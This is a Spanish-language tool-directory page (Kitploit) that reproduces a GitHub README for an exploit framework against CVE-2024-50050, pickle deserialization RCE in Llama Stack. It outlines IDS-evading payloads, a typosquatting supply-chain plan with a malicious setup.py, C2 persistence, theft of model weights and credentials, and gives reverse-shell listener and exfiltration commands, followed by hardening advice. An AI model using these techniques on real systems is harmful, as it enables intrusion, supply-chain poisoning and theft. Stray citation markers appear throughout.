Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
LlamaStack-RCE-Deterministic-Supply-Chain-Exploitation-Hardening-Framework-CVE-2024-50050- — LlamaStack-RCE: Framework determinista de explotación y endurecimiento de la cadena de suministro [CVE-2024-50050] Enfoque en la investigación de seguridad de IA AI-SupplyChain-Poisoning: Laboratorio avanzado de manipulación de opcodes PVM e inyección ZeroMQ | Kitploit
Herramientas/GitHubGitHub/sastraadiwiguna-purpleeliteteaming/llamastack-rce-deterministic-supply-chain-exploitation-hardening-framework-cve-2024-50050-
Frameworks de ExploitsAnálisis de VulnerabilidadesExfiltración de DatosPruebas de PenetraciónComando y ControlSeguridad de Cadena de SuministroAprendizaje y EducaciónRed TeamingDesarrollo de Payloads

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Seguridad de IA
Explotación de Binarios
Labs y Práctica
GitHubsastraadiwiguna-purpleeliteteaming/llamastack-rce-deterministic-supply-chain-exploitation-hardening-framework-cve-2024-50050-

LlamaStack-RCE-Deterministic-Supply-Chain-Exploitation-Hardening-Framework-CVE-2024-50050-

LlamaStack-RCE: Framework determinista de explotación y endurecimiento de la cadena de suministro [CVE-2024-50050] Enfoque en la investigación de seguridad de IA AI-SupplyChain-Poisoning: Laboratorio avanzado de manipulación de opcodes PVM e inyección ZeroMQ

Ver RepositorioSitio web
hace 7 mesesAún no revisado
Compartir

DOI = doi.org/10.5281/zenodo.18278567

ORCID = orcid.org/0009-0007-7728-256X


💀 LlamaStack-RCE: Marco de Explotación de la Cadena de Suministro CVE-2024-50050

MATERIAL CLASIFICADO SIN RESTRICCIONES - SOLO PARA RED TEAMING AUTORIZADO

1. Resumen Ejecutivo (Análisis Determinista)

LlamaStack-RCE es un marco de simulación y explotación de alta fidelidad dirigido a CVE-2024-50050, una vulnerabilidad crítica de Ejecución Remota de Código (RCE) en Meta Llama Stack. La vulnerabilidad se origina en la Deserialización Insegura dentro de la API de inferencia basada en Python, específicamente mediante el uso del módulo sobre capas de transporte ZeroMQ (0MQ).

pickle

Este repositorio proporciona la cadena de ataque completa, desde el envenenamiento de la cadena de suministro upstream hasta la ejecución downstream y la exfiltración de pesos del modelo.


2. Evasión Técnica y Weaponización

2.1. Anatomía del Ataque (Explotación de PVM)

El núcleo del exploit apunta a la Máquina Virtual de Pickle (PVM). Al utilizar el opcode GLOBAL, podemos forzar a la PVM a importar cualquier módulo de Python disponible y ejecutar funciones arbitrarias durante el proceso de unpickling.

Vector de Ataque: ZeroMQ Socket -> Raw Byte Stream -> pickle.loads() -> RCE.

2.2. Construcción de Payload Polimórfico

Para evadir los IDS tradicionales basados en firmas (Snort/Suricata), el framework implementa codificación polimórfica:

  • Ejecución Anidada en Base64: Encapsula comandos de shell dentro de Base64 para ocultar cadenas literales como /bin/bash o os.system.
  • Ofuscación de Opcodes: Reordena las instrucciones de la PVM para cambiar las firmas binarias sin alterar la lógica de ejecución.
  • Contrabando de Paquetes: Fragmenta el payload pickle en múltiples tramas ZeroMQ para evadir la detección de anomalías basadas en volumen.

3. Estrategia de Infiltración en la Cadena de Suministro

El framework simula una Weaponización de Cadena de Suministro holística:

FaseEstrategiaImplementación Técnica
I: UpstreamTyposquattingRegistro de metalama-stack en PyPI con un PostInstallCommand malicioso en setup.py.

| | II: Distribución | Fork Envenenado | Fork de Llama Stack de alto rendimiento en GitHub con un "Intérprete Pickle Oculto" en connection.py.

| | III: Ejecución | Disparador CI/CD | Ejecución automática durante pip install en el entorno de Jenkins/GitHub Actions del objetivo.

| | IV: Persistencia | Bomba Lógica | Stager en segundo plano de múltiples etapas para acceso C2 a largo plazo y robo de modelos.

|


4. Arquitectura y Despliegue del Laboratorio

4.1. Requisitos Previos

  • Hardware: 4x NVIDIA A100/H100 (para pruebas locales de pesos).
  • SO: Arch Linux o Kali Linux endurecidos.
  • Entorno: Docker y Docker-Compose (Red Aislada).

4.2. Estructura de Archivos

root@kitploit:~
.
[cite_start]├── lab_validator.py          # 7-stage automated validation suite [cite: 206, 264]
[cite_start]├── exploit_cve_2024_50050.py # Main exploitation framework [cite: 138, 206]
[cite_start]├── server.py                 # Vulnerable Llama Stack simulation [cite: 112, 150]
[cite_start]├── setup.py                  # Weaponized supply chain installer [cite: 110, 206]
[cite_start]├── post_exploit.py           # Data harvesting & lateral movement [cite: 210, 264]
[cite_start]└── evasion_library.py        # 12+ advanced evasion methods [cite: 264]

4.3. Flujo de Ejecución

  1. Validar Entorno:
root@kitploit:~
[cite_start]python lab_validator.py # Target: 100% Pass Rate [cite: 208, 209]
  1. Lanzar Listener (C2):
root@kitploit:~
nc -lvnp 4444
  1. Ejecutar Exploit (Modo Reverse Shell):
root@kitploit:~
[cite_start]python exploit_cve_2024_50050.py --target 172.20.0.10 --c2 172.20.0.20 --mode shell --shell-type python [cite: 145, 148]
  1. Iniciar Exfiltración de Datos:
root@kitploit:~
[cite_start]python exploit_cve_2024_50050.py --target 172.20.0.10 --c2 172.20.0.20 --mode exfil [cite: 146, 148]

5. Evaluación de Impacto (Criticidad: 10/10)

Una explotación exitosa otorga control absoluto sobre la infraestructura de IA:

  • Robo de Propiedad Intelectual: Robo de pesos de modelos .safetensors (valorados entre $10M y $100M+).
  • Secuestro de GPU: Asignación no autorizada de recursos CUDA para Criptojacking o Entrenamiento en la Sombra.
  • Manipulación de Inferencia: Envenenamiento de respuestas del modelo para causar fallos sistémicos en aplicaciones downstream (IA médica/legal).
  • Recolección de Credenciales: Extracción de claves AWS/GCP y configuraciones de K8s desde /proc/self/environ.

6. Endurecimiento Determinista (Recomendaciones de Purple Team)

Para mitigar CVE-2024-50050, deben aplicarse las siguientes reglas absolutas:

  1. Eradicar Pickle: Reemplace todos los pickle.loads() con safetensors.torch.load_file() o msgpack con esquema estricto.
  2. Endurecimiento de ZMQ: Implemente ZMQ_CURVE con pares de claves pública/privada y nunca se vincule a 0.0.0.0.
  3. Aislamiento de Infraestructura: Ejecute procesos de IA en gVisor o Kata Containers para prevenir el escape del contenedor vía RCE.
  4. Micro-segmentación de Red: Aísle el Servidor de Inferencia de Internet público utilizando reglas de ingreso/egreso estrictamente definidas.

7. Aviso Legal

AVISO LEGAL: El uso de este framework para atacar objetivos sin autorización previa por escrito es ilegal. Se proporciona únicamente con fines educativos y de pruebas de penetración autorizadas. El autor (Sastra_Adi_Wiguna) no acepta ninguna responsabilidad por el mal uso.


DOCUMENTO CLASIFICADO: PURPLE_ELITE_TEAMING_DEEP_REVERSE_ENGINEERING 2026 ESTADO DETERMINISTA: LISTO PARA PRODUCCIÓN (98/100)

Descargar herramienta